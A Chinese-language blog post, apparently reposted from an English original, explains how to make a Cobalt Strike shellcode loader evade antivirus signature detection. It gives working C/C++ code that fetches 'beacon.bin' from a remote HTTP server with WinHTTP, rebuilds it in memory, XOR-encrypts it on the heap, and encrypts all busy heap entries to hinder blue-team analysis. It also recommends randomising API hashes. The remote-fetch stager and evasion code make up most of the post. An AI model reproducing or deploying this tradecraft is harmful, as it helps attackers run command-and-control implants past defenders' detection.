最近，我正在开发一个简单的 Shellcode 加载器，它使用回调作为 Shellcode 执行的替代方案。虽然它可以绕过每次运行时扫描，但无法绕过签名检测。因此，我启动了ThreatCheck来识别坏字节：
乍一看，无法理解到底检测到了什么，所以我启动了GHidra来手动识别这些坏字节。我只是从 ThreadCheck ( 00 1F CC 07 00 15 CC 07 ) 中复制了一个随机模式，并尝试在恶意软件的编译 EXE 内存中进行搜索。
这显然是我在 Shellcode Loader 中实现的 XOR 加密 Shellcode，Defender 将其检测为 Cobalt Strike 代理。看来 XOR 加密例程在静态检测方面不够强大，这让我开始思考：存储的 shellcode 真的死了吗（尤其是从 Cobalt Strike 生成的 shellcode）？我不会感到惊讶，因为目前 Cobalt Strike 是威胁行为者中最流行的 C2 框架，但必须采取一些措施使 Shellcode 再次变得强大且不可检测。
RAW Shellcodes：它们有什么问题？
Cobalt Strike 的有效载荷基于 Meterpreter shellcode，并且包含许多相似（有时相同）的 API 哈希（x86和x64版本）。
Cobalt Strike 使用的默认哈希https://kleiton0x00.github.io/posts/Shellcodes-are-dead-long-live-fileless-shellcodes/是经过高度签名的；我们可以通过执行动态哈希编码来获得此类哈希的解决方案。如果你看下面的图片，哈希值是InternetOpenA0xa779563a的默认哈希。如果你简单地谷歌一下哈希，所有与 Metaploit 相关的内容都会出现，因此这个哈希被认为主要由 Cobalt Strike 信标和 Meterpreter 代理使用。对此类哈希应用 ror13 哈希将大大减少 AV 供应商的检测（几乎为 0）。由于这篇文章https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection已经很好地解释过了，我不会进一步解释，但下面的图片给出了对哈希进行编码后的最终结果的概念。
无文件 Shellcode 来帮忙
虽然这不是什么新鲜事，但无文件 shellcode 是避免签名检测的一种好方法，即从互联网上检索 shellcode。这样，您就可以解决大熵和任何可能的签名检测的问题。下图是传统 XORed 加密 shellcode 和我们的无文件 shellcode 加载器的比较。由于 shellcode 不必存储在 .text 部分中，因此熵将大幅下降（请记住）：
完整的源代码可以在这里找到https://github.com/kleiton0x00/RemoteShellcodeExec/，但在本文中，我将尝试分解代码以便于理解。
为了从 HTTP 服务器请求 shellcode，我将使用winhttp库。或者，您可以使用套接字，根据一些研究，这可能是更好的解决方案，可能会导致较低的运行时检测（因为 Winsocket 的 API 可能会被挂钩）。以下代码负责向远程服务器发送 HTTP 请求并等待响应：
1// Initialize WinHTTP 2 hInternet = WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); 3 4 5 // Connect to the HTTP server 6 hHttpSession = WinHttpConnect(hInternet, L"192.168.0.60", 80, 0); //192.168.0.60:8081 7 8 9 // Open an HTTP request 10 hHttpRequest = WinHttpOpenRequest(hHttpSession, L"GET", L"/beacon.bin", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0); 11 12 13 // Send a request 14 bResults = WinHttpSendRequest(hHttpRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); 15 16 17 // Wait for the response 18 bResults = WinHttpReceiveResponse(hHttpRequest, NULL);
WinHTTP 分块接收响应，因此我们需要循环直到检索到所有内容：
1do
2 {
3 dwSize = 0;
4 if (!WinHttpQueryDataAvailable(hHttpRequest, &dwSize))
5 {
6 printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());
7 }
8
9
10 // Allocate space for the buffer.
11 pszOutBuffer = new char[dwSize + 1];
12
13
14 // No more available data
15 if (!pszOutBuffer) {
16 printf("[-] No more available data");
17 dwSize = 0;
18 }
19
20
21 // Read the Data.
22 ZeroMemory(pszOutBuffer, dwSize + 1);
23
24
25 if (!WinHttpReadData(hHttpRequest, (LPVOID)pszOutBuffer,
26 dwSize, &dwDownloaded))
27 printf("Error %u in WinHttpReadData.\n", GetLastError());
28 else
29 PEbuf.insert(PEbuf.end(), pszOutBuffer, pszOutBuffer + dwDownloaded);
30
31
32 } while (dwSize > 0);
最后，确保将每个块存储在矢量数组中：
1char* PE = (char*)malloc(PEbuf.size());
2 for (int i = 0; i < PEbuf.size(); i++) {
3 PE[i] = PEbuf[i];
4 }
加密总是有用的
请注意以下部分：
1char* PE = (char*)malloc(PEbuf.size());
2 for (int i = 0; i < PEbuf.size(); i++) {
3 PE[i] = PEbuf[i];
4 }
从团队服务器检索到的 shellcode 存储在堆中，这使得蓝队可以轻松分析堆并发现里面的内容（显然是我们的未加密的 shellcode）：
此外，在堆中加密 shellcode 总是一个更好的主意：
1char* PE = (char*)malloc(PEbuffer.size()); 2 for (int i = 0; i < PEbuf.size(); i++) { 3 PE[i] = PEbuffer[i] ^ 0x7e; //XOR encrypted 4 } 5 XOR(PE, PEbuffer.size(), key);
其中XOR是解密数组的基本函数：
1void XOR(char* data, int len, unsigned char key) {
2 int i;
3 for (i = 0; i < len; i++)
4 data[i] ^= key;
5}
不惜一切代价保护堆
加密堆是个好主意，因为它可以保护可能存储在堆中的敏感数据。当程序在不受信任的环境中运行时，这一点尤其重要，因为存储在堆中的任何数据都可能被恶意软件分析器分析。
1// Encryption Key
2const char key[2] = "A";
3size_t keySize = sizeof(key);
4
5
6
7
8void xor_bidirectional_encode(const char* key, const size_t keyLength, char* buffer, const size_t length) {
9 for (size_t i = 0; i < length; ++i) {
10 buffer[i] ^= key[i % keyLength];
11 }
12}
13
14
15
16
17PROCESS_HEAP_ENTRY entry;
18void HeapEncryptDecrypt() {
19 SecureZeroMemory(&entry, sizeof(entry));
20 while (HeapWalk(GetProcessHeap(), &entry)) {
21 if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) {
22 xor_bidirectional_encode(key, keySize, (char*)(entry.lpData), entry.cbData);
23 }
24 }
25}
HeapWalk ()函数用于遍历进程堆中的每个堆条目，并检查该条目是否繁忙。如果繁忙，则使用 xor_bidirectional_encode() 函数对该条目进行加密和解密。这是通过使用 XOR 运算对数据进行加密和解密来实现的。
Profit
感谢您抽出
.
.
来阅读本文
点它，分享点赞在看都在这里